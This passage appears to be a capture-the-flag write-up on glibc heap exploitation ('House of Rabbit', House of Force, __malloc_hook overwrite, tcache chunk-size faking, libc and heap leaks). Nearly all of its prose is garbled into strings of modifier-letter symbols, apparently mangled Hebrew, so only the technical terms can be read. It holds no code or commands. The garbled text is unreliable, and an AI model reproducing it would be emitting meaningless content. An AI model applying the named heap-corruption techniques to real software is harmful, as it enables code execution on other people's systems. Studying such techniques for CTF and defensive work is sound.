>system_mem ˣˬ˩ ˢ˷˰ˮ˷ ˟-House of Rabbit ,˭˩˞ˣ ˭˸˧ˮ ˯˧ˮ˩ˢ˪ ˫˷ ˨˶ˣ˞˟ ˪ˣˡˠ ˣˮˮˣ˴˶˩ )large size:( 

 

˫˞ˢ ˶˷˲˞ ˷ˬ˸˷ˢ˪ ˸˵˧ˮ˩˦˟ House of Force ˧ˡ˩ ˯ˣ˶ˡ˪ ˸˞ ˡ˥˞ ˢˬ-hooks )˶˷˲˞ ˷ˬ˸˷ˢ˪ 

ˢˡˣ˵˲˟ p & __malloc_hook ˧ˡ˩ ˵ˣˡ˟˪ ˭˩˧ˢ ˞˴ˬˮ s-malloc hook(Κ ˢ˯ˮˮ ˵ˣˡ˟˪ ˫˧˵˥˶ˬ: 

 

ˢ˟˧˯ˢ ˸˟ˣ˸˩˷ s-heap ˸˧˞˶ˮ "ˢ˶˴˵ "˞˧ˢ ˪˪ˠ˟ s-PIE-NO )˰ˡ˧ˬ ˪˰ ASLR ˸ˬˣ˰˪ PIE .(˞˪ ˵˶ ˞˪˷ 

˶˧˟˯ ˪˩ˣˮ˷ ˸ˣ˴˵ˢ˪ ˢˬ- top chunk ˢ˯˶ˠ˟ xʕ ˪˷ glibc ˭ˣ˶˩˧ˤ ˪ˡˣˠ˟ ˢˤ˩ ˪ˣˡˠ ˶ˣ˟˰ ˵˥˶ˬˢ ,˞˪˞ ˫ˠ˷ 

˫˞ ˢ˧ˢ ˶˷˲˞ ,˸˧ˮ˩ˣ˸ˢ ˢ˸˧˧ˢ ˢ˥˧˶˩ˬ ˣˮ˸ˣ˞ ˯ˣ˶ˡ˪ ˸˞ ˪˩ ˰ˡ˧ˬˢ ˨˶ˡ˟ ˫˷˪ ,˧˩ ˞˧ˢ ˸˷˵˟ˬ ˵˶ ˸˞ 

˫˷ˢ ˣˬ˴˰ ˞˪ˣ ˸˞ ˨˶ˣ˞ˢ ˣ˪˷ .˧˶ˢˣ ˢˤ˷ ˪˷˩˧ ˧˩ ˨˶ˡ˟ ˫˷˪ ˷˧ ˫˧˶ˣˤ˞ ˧˪˟ ˸ˣ˞˷˶ˢ ˢ˟˧˸˩ (˨˩ 

ˢ˵˧ˮ˩˦˷ xʕ ˞˪ ˢ˧˴˲ˣ˞ ˭˞˩. 

ˢˬ ˧˟ˠ˪ ˷ˣˬ˧˷ ˟-House of rabbit ?˸˧˸˶ˣ˞˸ ˢˤ ˪ˣ˩˧ ˡˣ˟˰˪ ,˧˩ ˶˷˲˞ ˸ˣ˴˵ˢ˪ large chunks .˧ˮ˲˪ 

˷ˠ˧ˮ˷ ˢ˵˧ˮ˩˦˪ "ˢˡ˟˩ "ˣˤ˩˷ ˷˲˥ˮ ˨˶ˡ ˢ˦ˣ˷˲ ˢ˶˧ˢˬˣ ˶˸ˣ˧. 

˭ˮ˷˧ ˭ˣˬˢ ˫˧˩˶ˡ ˶ˣ˸˲˪ ˪˧ˠ˶˸ ˢˤ ,˧˪ˣ˞ ˶˷˲˞ ˪˷ˬ˪ ˯˧ˮ˩ˢ˪ ˨˶˰ˬ˪ ˫˧˰˧˟˴ˬˢ ˰˧˟˴ˬ ˪-chunk ˣˮ˥ˮ˞˷ 

ˣˮ˩ˢ ˢ˥ˮˢ˟ ˪˩ˣˮ˷ ˠ˧˪ˤˢ˪ ˸˥˞ ˸ˣ˟ˣ˸˩ˢˬ ˪˰ s-heap ˟˷˥˪ˣ ˸˞ ˦˯˧ˢˢ ˢˮˬˬ ˫ˣ˵ˬ˪ ˰ˣˡ˧? 

˫˞ ˫˧˟˷ˣ˥ ˪˰ ˢˤ ,˫˞ ˯ˣ˶ˡˮ ˸˞ ˢˡ˷ ˪ˡˣˠˢ ˪˷ chunk ˫˧˰˧˟˴ˬˢ ˭˷˧ˢ )ˢˤ˷˩ ˶˶˥ˣ˷˷ (˟ˣ˸˩ˮˣ 

ˣˬˣ˵ˬ˟ 0x81 ˪˷ˬ˪ ,˰ˠ˶˟ ˶ˣ˴˧ˮ˷ ˷ˬ˸˷ˬ ˷ˡ˥ ˶˥˞˪ ˭˩ˬ )˨˶ˣ˞˷ ˫˷ˢ ˣ˪˷ ˭˦˵ ˬ-0x78 ˫˧˸˟,( 

ˢ˴˵ˣ˧ ˣ˶ˣ˟˰ chunk ˢˤ )˨ˣ˸ˬ s-0x80 tcachebin (˨˩ˣ ˪˩ˣˮ ˱˧˪ˡˢ˪ ,˸˶ˤ˰˟ ˸ˣ˶˷˲˞ˢ List all users ,

˸ˣ˟ˣ˸˩ ˪˷ chunks ˣˮ˥ˮ˞˷ ˫˧˰ˡˣ˧ ˸˞ ˦˯˧ˢˢ ˫ˢ˪˷ ˸˪˧˥˸ˬ s-heap .˶ˣ˩ˤˮ ˣˮ˶˥˟˷ ˸ˣ˯ˮ˪ ˯ˣ˶ˡ˪ ˸˞ 

ˡ˥˞ ˢˬ-malloc hooks ,˭˩˪ libc leak ˶˸ˣ˧ ˟ˣ˷˥ ˣˮ˪ ˶˷˞ˬ heap leak. 

https://guyinatuxedo.github.io/5.1-mitigation_aslr_pie/index.html

